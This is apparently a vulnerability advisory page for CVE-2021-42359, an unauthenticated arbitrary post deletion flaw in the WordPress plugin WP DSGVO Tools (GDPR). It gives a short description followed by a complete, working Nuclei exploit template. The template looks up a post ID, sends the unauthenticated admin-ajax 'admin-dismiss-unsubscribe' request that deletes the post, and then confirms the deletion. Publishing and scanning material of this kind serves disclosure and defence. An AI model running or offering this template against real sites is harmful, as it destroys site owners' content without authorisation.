CVE-2021-42359: WP DSGVO Tools (GDPR) <= 3.1.23 - Unauthenticated Arbitrary Post Deletion

日期: 2025-08-01 | 影响软件: WP DSGVO Tools (GDPR) | POC: 已公开

漏洞描述

WP DSGVO Tools (GDPR) <= 3.1.23 had an AJAX action, ‘admin-dismiss-unsubscribe‘, which lacked a capability check and a nonce check and was available to unauthenticated users, and did not check the post type when deleting unsubscription requests. As such, it was possible for an attacker to permanently delete an arbitrary post or page on the site by sending an AJAX request with the “action” parameter set to “admin-dismiss-unsubscribe” and the “id” parameter set to the post to be deleted. Sending such a request would move the post to the trash, and repeating the request would permanently delete the post in question.

PoC代码[已公开]

id: CVE-2021-42359

info:
  name: WP DSGVO Tools (GDPR) <= 3.1.23 - Unauthenticated Arbitrary Post Deletion
  author: daffainfo
  severity: high
  description: |
    WP DSGVO Tools (GDPR) <= 3.1.23 had an AJAX action, ‘admin-dismiss-unsubscribe‘, which lacked a capability check and a nonce check and was available to unauthenticated users, and did not check the post type when deleting unsubscription requests. As such, it was possible for an attacker to permanently delete an arbitrary post or page on the site by sending an AJAX request with the “action” parameter set to “admin-dismiss-unsubscribe” and the “id” parameter set to the post to be deleted. Sending such a request would move the post to the trash, and repeating the request would permanently delete the post in question.
  reference:
    - https://www.wordfence.com/blog/2021/11/vulnerability-in-wp-dsgvo-tools-gdpr-plugin-allows-unauthenticated-page-deletion/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42359
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2021-42359
    epss-score: 0.01891
    epss-percentile: 0.82544
    cwe-id: CWE-862,CWE-284
    cpe: cpe:2.3:a:legalweb:wp_dsgvo_tools:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: legalweb
    product: wp_dsgvo_tools
    framework: wordpress
    fofa-query: body="/wp-content/plugins/shapepress-dsgvo/"
    publicwww-query: "/wp-content/plugins/shapepress-dsgvo/"
  tags: cve,cve2021,wp,wordpress,wp-plugin,dsgvo,intrusive

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{route}}"

    attack: clusterbomb
    payloads:
      route:
        - "wp-json/wp/v2/posts"
        - "?rest_route=/wp/v2/posts"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "[{\"id", "name\":")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: post_id
        internal: true
        json:
          - '.[0].id'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=admin-dismiss-unsubscribe&id={{post_id}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/{{route}}"

    attack: clusterbomb
    payloads:
      route:
        - "wp-json/wp/v2/posts"
        - "?rest_route=/wp/v2/posts"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - '!contains(body, "\"id\":{{post_id}}")'
        condition: and
# digest: 490a0046304402202423041612df75f16624a3f5eaa6fdce084b92bd5923fed58b353cd9c1010874022013014f9cee16360fc73be18d92132ccf247aa342d0e6ec10c97956333d0669f3:922c64590222798bb761d5b6d8e72950